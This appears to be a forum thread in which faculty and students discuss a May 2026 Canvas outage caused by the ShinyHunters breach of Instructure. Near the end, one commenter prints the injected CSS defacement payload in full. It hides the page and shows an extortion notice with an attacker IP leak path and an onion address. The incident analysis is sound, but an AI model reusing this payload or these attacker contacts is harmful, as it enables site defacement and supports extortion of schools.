We got our first email (from Academic Affairs) notifying us that it was down at 5:17pm EDT this afternoon, with little info; followup emails were sent at 6:24 and 6:57 with more info, but mostly about how we would be compensating for it and not about what actually was going on (other than, "nationwide shutdown" and "cybersecurity attacks", no further detail). I don't get a sense that they know much more than that, not that I would expect them to.
A perhaps telling detail: they're instructing us to have students email us directly with any work that had been submitted via Canvas. That suggests that they have no particular confidence that it will come back up soon.
I personally am only slightly affected; as a CS professor a lot of my students' work is done on department machines, and submitted that way, and I do the actual exams on paper. More importantly, I've never liked or trusted Canvas's gradebook, and so although I do upload grades to Canvas so students can see them, my primary gradebook is always a spreadsheet I maintain locally.
But I have a lot of colleagues for whom this is catastrophic at a level of "the whole building burnt down with all my exams and gradebooks in it"---even many of those that teach 100% in person have shifted much or all of their assessment into Canvas (using the Canvas "quiz" feature for everything up to and including final exams), and use the Canvas gradebook as their source-of-truth record. We've been encouraged to do so by our administration ("it makes submitting grades easier"). For faculty in that situation, they have few or zero artifacts that the students have produced, the students themselves don't have the artifacts to resubmit via email because they were done in Canvas in the first place, and they have no record of student grades or even attendance (because they managed that all inside Canvas). I guess they have access to the advisory midterm grades from March, if they submitted them (most do, some don't), but that might be it.
My gut feeling on this is that this is either resolved in hours (they have airgapped backups and can be working as soon as they can spin up new servers), or weeks (they don't). Very little in-between. And if that's true and we wake up tomorrow with this unresolved, I really have no idea what a lot of professors at my university and across the country are going to do to submit grades that are fair and reasonable. In the extreme case, they may have to revert to something we did in the pandemic semester (and before that, at my school, in the semester that two major academic buildings actually did burn to the ground a week before finals): let classes that normally count for a grade just submit grades as pass-fail. Because what else can you do?
(Well, one thing you can do is not put your eggs all in one basket, and not trust "the cloud" quite so much, but that ship's already sailed. I do wonder if in the longer term, anybody learns any lessons from this....)
UPDATE: As of 11:45pm EDT, my university's canvas instance is up and running! Here's hoping it stays (but I'll be downloading some stuff just in case...)
Incidentally I've always hated Canvas and probably every other LMS provider, but what is particularly amusing about this current outage is that it is occurring at exactly the time when universities are demanding that all professors put all of their materials on Canvas, without exception, due to ADA compliance regulations. It is explicitly forbidden for professors to, e.g., refer to pdfs posted on a personal website.
Other commentators here seem not to understand that many faculty also do not enjoy being forced to use Canvas.
No this will not stop this and companies need to be held accountable for their lack of security investment. Every attack should be investigate if the company met an agreed industry standards best practices and staffing, etc. The penalties for not meeting the requirements should be punitive.
But it turns out that MIT used to have their own homegrown system, and recently switched to Canvas. Bet they're regretting that now.
The build vs. buy decision seems to have swung very hard toward buy in the last decade, and I think that's a shame. Yes, orgs need to focus on their core competency, and sometimes that means outsourcing things that aren't core competencies to third parties. But there are always downsides.
This would be like TurboTax "scheduling maintenance" on April 14th in the US.
https://www.abc.net.au/news/2026-05-08/students-lose-access-...
Edit: https://status.parchment.com/ says "While Canvas, Canvas Beta and Canvas test are currently unavailable, we are simultaneously monitoring all of our other product environments, including Parchment. We continue to see no reason to believe any Parchment resources have been impacted."
I totally understand why a university wouldn’t want to bake their own learning portals but just feels like such a single point of risk to use third party solutions for something like this.
Back in my day… all we had was a school email via on-premise services. I guess we registered for classes in a web portal but that’s about it. The idea of online class was entirely foreign at the time. Ain’t nobody hacking a blue book.
doesn't seem that scheduled to me
Is this accurate? Or is this still an ongoing issue?
edit: here's the list of impacted universities (unsure if they all have their canvas instances offline, but i'd be surprised if not): http://91.215.85.103/pay_or_leak/instructure_affected_school...
I lost access when I left as it was tied to my work email. I downloaded a lot, but there was still some useful stuff on the boards.
I wonder what the havkers found out about me. Perhaps the class notes will be lifted to train AI, higher quality than a lot thats on the internet anyway.
Our whole testing center is down. This is inconvenient, but mainly it's amusing. I swear strangers are talking to each other more. I'm noticing people just sitting in the sun and relaxing. Nature is healing.
(Of course, plenty of people have also just finished their exams, so it's hard to know the cause.)
Any idea what data Instructure-and-also-now-ShinyHunters even purport to have beyond names, profile photos, pronouns, homework assignments, school communications, phone numbers, and email addresses?
i.e. What makes this threat so different from what any old data brokers have already scraped?
What leverage besides aura farming do the ShinyHunters really have?
All I can think of that's really valuable is passwords. And private communications in Canvas DMs. But if you're being at all intimate over your school email, that's kinda on you.
Anyway surely Instructure only stores user public keys or something?
Alternate history question: If they just sold the data, never revealed the hack, and didn't make a scene, from a customer perspective, how different would this be from business as usual?
We already bond over how awful the Canvas UX is (and she has a bunch of Chrome extensions to improve it.) Now we’ve got something else to gripe over together.
The timing probably isn't a coincidence. Great time to stress out students and staff alike. Hopefully it doesn't affect them too much in the end, but I imagine it will.
this is really, really, REALLY bad. it's not great that names/emails/etc will potentially be leaked, but also private messages between students and instructors. and since many of the campus systems rely on canvas integration, things have pretty much ground to a halt a week before finals.
after they were breached on the 1st of this month, instructure had an announcement yesterday that "everything is great! we're good! hackers are gone! we've rotated our keys!".
no. nothing is great. we are not good.
What we don't have access to includes:
* Already graded work
* Ungraded work
* overall adn assignment grades
* lists of students and student emails from the course
* messages from students that are often sent through gradescope
Just...complete implosion.
This will keep happening, more and more, and never stop, until we create a software building code and legally require it for all online businesses.
Universities, Parents: ya'll actually have the political and economic power to get a software building code passed. This incident isn't the last.
Shame on your existence basically.
They moved away from Teams because it objectively sucked, but I haven't heard of widespread compromises like this in Microsoft's systems so...
It's always been as stupid as requiring that your chalkboard, chalk, chairs, bluebooks, pens, paper, gradebook etc etc all come from the same company.
I, for one, am very much looking forward to my IT Gov council meeting tomorrow.
Looking into the payload they sent me this is how they hijacked the screen. Everything in the payload is unchanged except for one line of code:
<link rel="stylesheet" href="https://instructure-uploads.s3.amazonaws.com/account_9363000..." media="all"/>
This links to the following styling sheet:
@import url('https://fonts.googleapis.com/css2?family=Orbitron:wght@500;7...');
html, body { height: 100% !important; overflow: hidden !important; margin: 0 !important; padding: 0 !important; }
body > * { display: none !important; }
body { display: flex !important; align-items: center !important; justify-content: center !important; background: #07080c !important; }
body::before { content: "" !important; position: fixed !important; inset: 0 !important; z-index: 999998 !important; background: radial-gradient(ellipse at 50% 20%, rgba(255,59,59,.06), transparent 55%), radial-gradient(ellipse at 50% 85%, rgba(125,70,152,.04), transparent 45%), repeating-linear-gradient(0deg, rgba(255,255,255,.035), rgba(255,255,255,.035) 1px, transparent 1px, transparent 3px), #07080c !important; pointer-events: none !important; }
body::after { content: "\A\A" "S H I N Y H U N T E R S" "\A" "rooting your systems since '19 ;)" "\A\A\A" "ShinyHunters has breached Instructure (again)." "\A" "Instead of contacting us to resolve it they" "\A" "ignored us and did some \201Csecurity patches\201D." "\A\A" "\26A0 W A R N I N G" "\A\A" "If any of the schools in the affected list are" "\A" "interested in preventing the release of their" "\A" "data, please consult with a cyber advisory firm" "\A" "and contact us privately at TOX to negotiate a" "\A" "settlement. You have till the end of the day by" "\A" "12 May 2026 before everything is leaked." "\A\A" "Instructure still has until EOD 12 May 2026" "\A" "to contact us." "\A\A" " \25BC DOWNLOAD AFFECTED_SCHOOLS.TXT \25BC" "\A" "91.215.85.103/pay_or_leak/" "\A" "instructure_affected_schools_list.txt" "\A\A" "visit us: shnyhntww34phqoa6dcgnvps2yu7dlwzmy5" "\A" "lkvejwjdo6z7bmgshzayd.onion" !important;
position: fixed !important;
z-index: 999999 !important;
top: 50% !important;
left: 50% !important;
transform: translate(-50%, -50%) !important;
white-space: pre !important;
text-align: center !important;
font-family: 'Fira Code', 'Share Tech Mono', monospace !important;
font-size: clamp(10px, 1.4vw, 14px) !important;
line-height: 1.55 !important;
color: #c8dce8 !important;
background:
linear-gradient(180deg, rgba(255,255,255,.05) 0%, rgba(255,255,255,.01) 3.2%, transparent 3.2%) !important;
background-color: #0d0f16 !important;
border: 2px solid #ff3b3b !important;
border-radius: 14px !important;
padding: 16px 32px !important;
overflow: hidden !important;
box-shadow:
0 0 35px rgba(255,59,59,.2),
0 40px 90px rgba(0,0,0,.65),
inset 0 0 0 1px rgba(255,255,255,.06),
inset 0 0 50px rgba(255,59,59,.03) !important;
animation: pulseWarn 2.5s infinite ease-in-out !important;
max-width: 94vw !important;
text-shadow: 0 0 6px rgba(200,220,232,.15) !important;
}@keyframes pulseWarn { 0% { box-shadow: 0 0 20px rgba(255,59,59,.15), 0 40px 90px rgba(0,0,0,.65), inset 0 0 0 1px rgba(255,255,255,.06); } 50% { box-shadow: 0 0 55px rgba(255,59,59,.4), 0 40px 90px rgba(0,0,0,.65), inset 0 0 0 1px rgba(255,255,255,.06); } 100% { box-shadow: 0 0 20px rgba(255,59,59,.15), 0 40px 90px rgba(0,0,0,.65), inset 0 0 0 1px rgba(255,255,255,.06); } }
The hack is crude, and it seems unlikely that they have any access to Instructure's developer tools.